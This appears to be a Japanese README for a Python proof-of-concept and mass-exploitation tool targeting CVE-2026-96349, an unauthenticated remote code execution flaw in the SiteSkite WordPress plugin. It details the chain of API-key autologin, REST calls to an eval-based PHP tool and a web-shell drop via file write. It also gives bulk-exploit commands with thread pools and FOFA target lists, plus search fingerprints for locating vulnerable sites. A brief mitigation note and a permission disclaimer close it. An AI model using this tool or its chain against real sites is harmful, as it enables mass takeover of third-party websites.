
CVE-2026-96349(WordPress SiteSkite プラグイン ≤2.1.8 における、API キー自動ログインと MCP PHP eval を悪用した未認証 RCE)の Python PoC および一括攻撃ツール。
| 項目 | 値 |
|---|---|
| CVE | CVE-2026-96349 |
| 製品 | SiteSkite WordPressプラグイン |
| 影響範囲 | ≤ 2.1.8 |
| 修正版 | 2.2.0 |
| CWE | CWE-94 — コード生成の不適切な制御 |
| CVSS | 10.0 (Critical) — Patchstackアドバイザリ |
| PoCbitカタログ | https://pocbit.org/pocs/ |
| PoCbitページ | https://pocbit.org/pocs/cve-2026-96349 |
| 検証マーカー | POCBIT-96349-OK |
CVE-2026-102425と同じスタイルのPython PoC: 対話式メニュー、マスエクスプロイト(デフォルト)、--check、-u、--lab、スレッドプール、hits.txt / exploited.txt。
PatchstackとCVE Programは、CVE-2026-96349をSiteSkiteプラグインにおける未認証のリモートコード実行の脆弱性と説明しています。公開されているテキストは意図的に短くされていますが、ベンダーの修正版2.2.0(2026年9月)は認証と自動ログインに大幅な変更を加えています。本リポジトリ内での2.1.8と2.2.0の静的比較(extract-2.1.8/、extract-2.2.0/)は、このPoCが実装する実際の攻撃対象領域を示しています。
SiteSkiteは大規模なWebOpsプラグインであり、バックアップ、ポータルAPI、そしてオンサイトAI MCP(「アビリティ」)を提供します。これには、攻撃者が指定したPHPに対して**eval()を呼び出す高度なツール(siteskite_execute_php)や任意ファイル書き込み(siteskite_write_file)が含まれます。これらのアビリティは、サイトがSiteSkite APIキーでリンクされている場合、REST経由およびadmin-ajax.php**経由で到達可能です。
≤ 2.1.8における重大な誤りは、同一の長期有効なAPIキーが未認証のWordPress管理者ログインベアラーとしても機能してしまうことです:
AutoLoginControllerは、/siteskite-autologin上の?token=<siteskite_api_key>を受け付け、さらにhandle_token_login()を介して、?token=…を含む任意のフロントエンドURLでも受け付けます。get_option('siteskite_api_key')に対する単純な等価比較が使われています(ポータル署名なし、ワンタイムナンスなし)。wp_set_auth_cookie()を呼び出し、Solid Securityなどのプラグイン向けにオプションの2FAバイパスも行います。2.2.0ではこの経路が削除されています: 生のAPIキーベアラーは拒否され(hash_equalsチェック、「Login Unavailable」)、ログインにはポータル発行の署名付きリンク(AutologinPortalSignature)が必要です。mu-pluginのセーフティコアは、レガシーキーによるログインを一切受け付けなくなりました。
攻撃者の視点では、チェーンは次のとおりです:
/?token=KEYまたは/siteskite-autologin?token=KEY)で管理者セッションを証明する。X-SiteSkite-Key: KEYを付けてPOST /wp-json/siteskite/v1/abilities/execute(またはadmin-ajax.php?action=siteskite_api)を呼び出し、siteskite_execute_phpを実行するか、siteskite_write_file経由でup.php**を設置する → POCBIT-96349-OK。高度なMCPツールは2.1.8ではデフォルトで有効(McpSettings::DEFAULT_ADVANCED = '1')であるため、キーが判明すれば多くのリンク済みサイトがevalを露出します。
| コンポーネント | 2.1.8 の挙動 | 2.2.0 の変更 |
|---|---|---|
includes/Core/AutoLoginController.php | ?token= が保存済み API キーと一致 → 管理者クッキー | 生のキーは拒否。ポータル HMAC ログインのみ |
includes/Mcp/Abilities/AdvancedAbilities.php | siteskite_execute_php → eval($code) | 依然として存在。認証 + 設定で制限 |
includes/Mcp/AbilitiesRest.php | X-SiteSkite-Key → アビリティを実行 | 同じサーフェス。自動ログインはキーなしでセッションを漏洩しなくなった |
includes/API/FallbackAPI.php | キーが有効な場合、wp_ajax_nopriv_siteskite_api がアビリティをプロキシ | 依然としてキー / ゲストキーが必要 |
その他の未認証 REST ルート(UploadRest、OAuth 登録)も存在するが、トークンまたは PKCE を必要とする。これらはここでモデル化している主要なチェーンではない。
| ファイル | 役割 |
|---|---|
poc.py | CLI / インタラクティブ / 一括エクスプロイト |
_engine.py | HTTP ロジック、PoCbit メタデータ、ラボサーバー |
up.php | オプションのウェブシェルプローブ(?pocbit=1 → マーカー) |
targets.example.txt | URL リスト。任意で URL<TAB>api_key |
extract-2.1.8/ / extract-2.2.0/ | 差分用のベンダーソース(PoC の実行には不要) |
pip install requests coloramapython poc.py
プロンプト: mode、オプションのグローバル API キー、対象ファイル、スレッド数(デフォルト 16)、タイムアウト。
exploited.txtpython poc.py fofa_targets.txt
python poc.py urls.txt --key YOUR_SITESKITE_API_KEY
python poc.py urls.txt -t 24 -T 25
ターゲットごとのキー(URL の後にタブ、スペース、またはパイプ):
https://customer.example abc123…siteskiteKey…
https://other.site|anotherKey
環境フォールバック: SITESKITE_API_KEY または SITESKITE_KEY。
hits.txtpython poc.py --check fofa_targets.txt
フィンガープリント: readme.txt の Stable tag、レガシーな /siteskite-autologin のトークン欠落レスポンス、バージョン ≤ 2.1.8。
python poc.py -u https://target.example --check
python poc.py -u https://target.example --key SITE_SKITE_KEY
python poc.py --lab
127.0.0.1:8796 を偽の readme 2.1.8、自動ログイン、および abilities エンドポイントで起動します。"exploited": true を返す必要があります。
flowchart LR
A[Target URL] --> B{readme ≤ 2.1.8?}
B -->|no| Z[skip / patched]
B -->|yes| C{API key known?}
C -->|no| N[needs_api_key]
C -->|yes| D[POST abilities/execute]
D --> E{siteskite_execute_php}
E -->|marker| F[RCE verified]
E -->|fail| G[autologin ?token=KEY]
G --> D
E -->|fail| H[write_file / ajax fallback]
H --> F
siteskite_execute_php で echo POCBIT-96349-OK;route=/abilities/execute)siteskite_write_file → wp-content/uploads/pocbit_96349.phpeval で up.php 用のドロップヘルパーJSON の結果行には pocbit、pocbit_catalog、pocbit_page、CVE URL、およびログパイプライン用の verify_marker が含まれます。
例(使用するインデクサーに合わせて調整してください):
body="/wp-content/plugins/siteskite/"
header="siteskite" && body="wp-content/plugins"
チェックモードはAPIキーのブルートフォースを行いません。エクスプロイトモードでは、自身のポータルやリークインテリジェンスから取得したurl\tkeyペアをすでに持っていない限り、キーが必要です。
/siteskite-autologinへの外部アクセスをブロックし、?token=/X-SiteSkite-Keyの悪用についてログを監査してください。自身が所有するシステム、またはテストについて書面による許可を得ているシステムでのみ使用してください。不正アクセスは違法です。
CVE-2026-96349 — WordPress SiteSkite plugin ≤2.1.8 unauthenticated RCE (CVSS 10.0, CWE-94). PoCbit mass-exploit PoC: legacy API-key autologin (?token=) + REST MCP siteskite_execute_php eval chain; fixed in 2.2.0. Check/exploit/mass bulk, hits.txt & exploited.txt, --lab self-test. Marker: POCBIT-96349-OK. Catalog: https://pocbit.org/pocs/cve-2026-96349